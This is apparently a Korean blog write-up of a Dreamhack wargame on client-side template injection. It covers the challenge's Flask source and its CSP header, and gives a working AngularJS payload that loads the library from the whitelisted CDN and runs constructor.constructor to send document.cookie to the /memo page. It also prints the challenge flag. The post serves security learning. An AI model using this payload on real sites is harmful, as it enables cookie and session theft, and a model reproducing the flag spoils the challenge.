CSTI ( Client Side Template Injection )

Moon Junsu·2025년 7월 24일

1. CSTI (Client Side Template Injection) 개요

클라이언트 사이드 템플릿 엔진이 사용자 입력을 신뢰하지 않고 처리할 때 발생하는 취약점이다.
입력값이 템플릿 문법으로 실행되어 악성 코드가 실행될 수 있다.

주요 특징

서버가 아니라 클라이언트(브라우저)에서 템플릿 엔진이 동작함

보통 {{ }}, ${ }, [[ ]] 같은 문법 사용

자바스크립트 코드 실행이 가능하여 쿠키 탈취, 세션 하이재킹, 리다이렉션 등이 가능

대표적 템플릿 엔진

AngularJS, Vue.js(구버전), Handlebars, Mustache 등

워게임 문제 및 풀이 ( CSTI )

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

위의 코드는 주어진 코드이다.

자주 보이는 형태로, /flag를 통해 vuln?param에 요청을 보내는데, 이 때 보내지는 요청은 /memo로 가도록하여 쿠키값을 /memo에서 확인하는 구조이다.

/memo에서 쿠키 값이 확인될 수 있도록 적절히 보안 설정을 우회해야 하며, 결정적으로 보내는 악성 코드가 실행코드로서 실행이 되도록 해야 한다.

CSP 헤더 해석

default-src 'self'
모든 리소스(스크립트, 이미지, 스타일 등)의 기본 허용 출처를 현재 도메인(self) 으로 제한합니다.
즉, 현재 서버에서 제공하는 리소스만 기본적으로 허용.

img-src https://dreamhack.io
이미지 리소스는 기본 출처 외에도 https://dreamhack.io 도메인에서 불러오는 것까지 허용.

style-src 'self' 'unsafe-inline'
스타일시트(CSS)는 현재 도메인에서 불러오는 것과, 인라인 스타일(태그 내 style 속성 등)도 허용.
unsafe-inline은 보안상 위험할 수 있으나, 인라인 스타일 사용을 허용하는 옵션.

script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com
자바스크립트 로드는 다음 출처/방식만 허용:

'nonce-{nonce}': 서버에서 발급한 nonce(난수) 값을 가진

'unsafe-eval': eval(), new Function() 같은 자바스크립트 동적 코드 실행 함수 사용 허용 (보안상 취약점 여지 있음)

https://ajax.googleapis.com: 구글 CDN(ajax.googleapis.com)에서 제공하는 외부 스크립트 불러오기 허용 (예: AngularJS)

object-src 'none'
< object >, < embed >, < applet > 등 플러그인 관련 콘텐츠 로드를 전면 차단.

정리하자면 우리는 < script > 를 사용해야 한다. 이를 사용하기 위해서는 먼저 src가 https://ajax.googleapis.com 로 가야한다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js">

angularjs는 https://ajax.googleapis.com 에서 제공하는 템플릿이다.

해당 템플릿을 사용하고, 이 템플릿의 함수를 사용하여 실행코드가 되도록 해야한다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script>

이제 angularjs가 템플릿으로 해석할 HTMl 태그를 붙혀서 내부 표현식을 평가하는 구조로 완성한다.

동작영역 역할을 붙혀주는 것이다.

<html ng-app>{{ constructor.constructor("location='/memo?memo='+document.cookie")() }}</html>

1. < html ng-app >

ng-app은 AngularJS의 애플리케이션 시작 지점을 알리는 특수 속성.

이 태그부터 AngularJS가 활성화되어 그 하위 요소 안의 템플릿 표현식을 평가.

2. {{ ... }} — AngularJS 템플릿 바인딩 구문

중괄호 {{ }}는 AngularJS에서 데이터 바인딩 및 표현식 평가를 뜻함.

AngularJS는 중괄호 안에 들어있는 자바스크립트 표현식을 실행하고 결과를 HTML로 렌더링.

3. constructor.constructor(...)()

constructor는 자바스크립트 모든 객체가 가진 프로퍼티로, 그 객체의 생성자를 가리킴.

예를 들어, 일반 객체의 constructor는 Object 생성자 함수.

constructor.constructor는 결국 Function 생성자 함수에 접근하는 셈이다.

constructor.constructor === Function

"location='/memo?memo='+document.cookie" 문자열을 Function 생성자에 넣으면,
이 문자열이 실행 가능한 자바스크립트 함수 코드로 변환.

뒤의 ()는 이렇게 생성된 함수를 즉시 실행하라는 의미.

4. 결과

location='/memo?memo='+document.cookie" 코드를 동적으로 실행하여,

현재 페이지의 location을 변경하는데, URL을 /memo?memo= + 현재 브라우저의 쿠키(document.cookie)로 바꿈.

즉, 쿠키를 탈취하기 위해 공격자가 제어하는 /memo URL에 쿠키를 보내는 행위.

FLAG : DH{741b1b55cfdae94aaaad6c5f1618d167}

profile
보안 인프라 엔지니어

0개의 댓글